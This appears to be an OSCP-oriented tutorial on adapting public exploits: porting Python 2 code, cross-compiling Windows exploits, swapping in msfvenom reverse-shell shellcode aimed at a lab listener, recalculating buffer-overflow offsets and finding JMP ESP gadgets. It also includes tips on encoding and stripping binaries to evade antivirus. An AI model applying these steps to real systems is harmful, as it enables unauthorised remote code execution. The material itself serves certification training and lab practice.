Compiling and porting public exploits
TL;DR: A public exploit is a starting point, not a finished tool. Porting means: recompile for the right arch, swap shellcode for one that survives bad chars, recalculate offsets and return addresses, fix language-version rot. Every OSCP candidate hits this; it kills the ones who haven’t practised it. Companion to searchsploit-and-public-exploit-workflow and stack-bof-walkthrough-end-to-end.
Five common port jobs
1. Python 2 → Python 3
Symptoms: print "x" syntax errors, urllib2 import errors, bytes vs str confusion.
Fixes:
1
2
3
4
5
6
7
8
9
10
# before
print "[+] sending"
import urllib2; r = urllib2.urlopen(url)
payload = "A" * 100 + ret
# after
print("[+] sending")
import urllib.request; r = urllib.request.urlopen(url)
payload = b"A" * 100 + ret # bytes, not str
sock.send(payload) # socket wants bytes in py3
Quick test: python3 -c "exec(open('exploit.py').read())" and read the traceback.
2. Windows binary on Linux attacker → cross-compile
You have a C exploit that targets Windows. You’re on Kali.
1
2
3
4
5
6
7
8
9
10
sudo apt install -y mingw-w64
# Compile 32-bit Windows EXE
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
# 64-bit
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
# Stripped (smaller, fewer AV signatures)
i686-w64-mingw32-gcc -s exploit.c -o exploit.exe -lws2_32
For a Linux C exploit targeting an older glibc, statically link:
1
gcc -static -o exploit exploit.c
3. Shellcode swap
Most public PoCs ship a shellcode blob hard-coded to the author’s IP. Replace it.
1
2
3
4
5
6
# Get target's bad chars first (see stack-bof-walkthrough-end-to-end)
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-b '\x00\x0a\x0d\x25\x26\x2b\x3d' \
-f python -v shellcode \
EXITFUNC=thread # important — don't crash the host process
Drop the output into the PoC where the old shellcode = b"..." was.
Sanity check the length: if the PoC reserves a 350-byte slot and msfvenom gives you 380, you’ll overflow the slot and break the rest of the payload — encode tighter (-e x86/shikata_ga_nai -i 3) or pick a smaller payload (e.g. stager family).
4. Recalculating offsets
The author’s offset (the distance to EIP / RIP) is for their compiled binary. Yours may differ if the target was rebuilt, recompiled with a different toolchain, or patched.
Standard procedure:
1
2
3
4
5
6
7
# Generate a cyclic pattern
msf-pattern_create -l 3000
# Send it as the input
# Inspect EIP in the debugger after crash, e.g. EIP = 0x39654138
msf-pattern_offset -l 3000 -q 39654138
# → offset = 2003
Replace the PoC’s offset = N with your value.
5. Return address / gadget update
A PoC may use a JMP ESP at a specific address (e.g. 0x625011AF) from a specific DLL/binary. If the target loaded a different version, the address is wrong.
In Immunity Debugger with mona:
1
2
!mona modules # list modules + protections
!mona find -s "\xff\xe4" -m essfunc.dll # find JMP ESP in a friendly module
Pick a gadget that:
- is in a module without ASLR (
ASLR = False). - is in a module without SafeSEH (when overwriting SEH).
- has no bad chars in its address.
Language-runtime gotchas
- Ruby PoCs older than Ruby 3 may use removed APIs (
URI.escape). Replace withURI.encode_www_form_component. - Perl PoCs still work but
sprintfpacking differs from Python; double-check on the wire with Wireshark. - Go PoCs — build with
GOOS=windows GOARCH=amd64 go build.
When the bug is real but the PoC is broken
Sometimes the cleanest path is to re-implement the PoC from the advisory:
- Read the CVE description and the patch diff (often on the vendor’s GitHub).
- Identify the bug class (BOF, deserialisation, path traversal, etc.).
- Open the vulnerable function in a decompiler if you have the binary.
- Write a clean Python harness.
Re-implementing teaches you more than getting the PoC to run.
Safe-test checklist before you fire on the real target
- Wrong target IP/hostname? Check twice.
- Listener running on the right port?
- Bad-char list verified?
- EXITFUNC set to
thread(notprocess— crashes the service)? - Shellcode size fits the buffer?
- VM snapshot if it’s your own lab?
OSCP exam tip
Practise on three of the classic vulnserver commands (TRUN, GMON, KSTET) and three different real-world apps (Brainpan, SLMail, Crossfire). The motion of “fuzz → crash → offset → bad chars → JMP gadget → shellcode” should be muscle memory before exam day.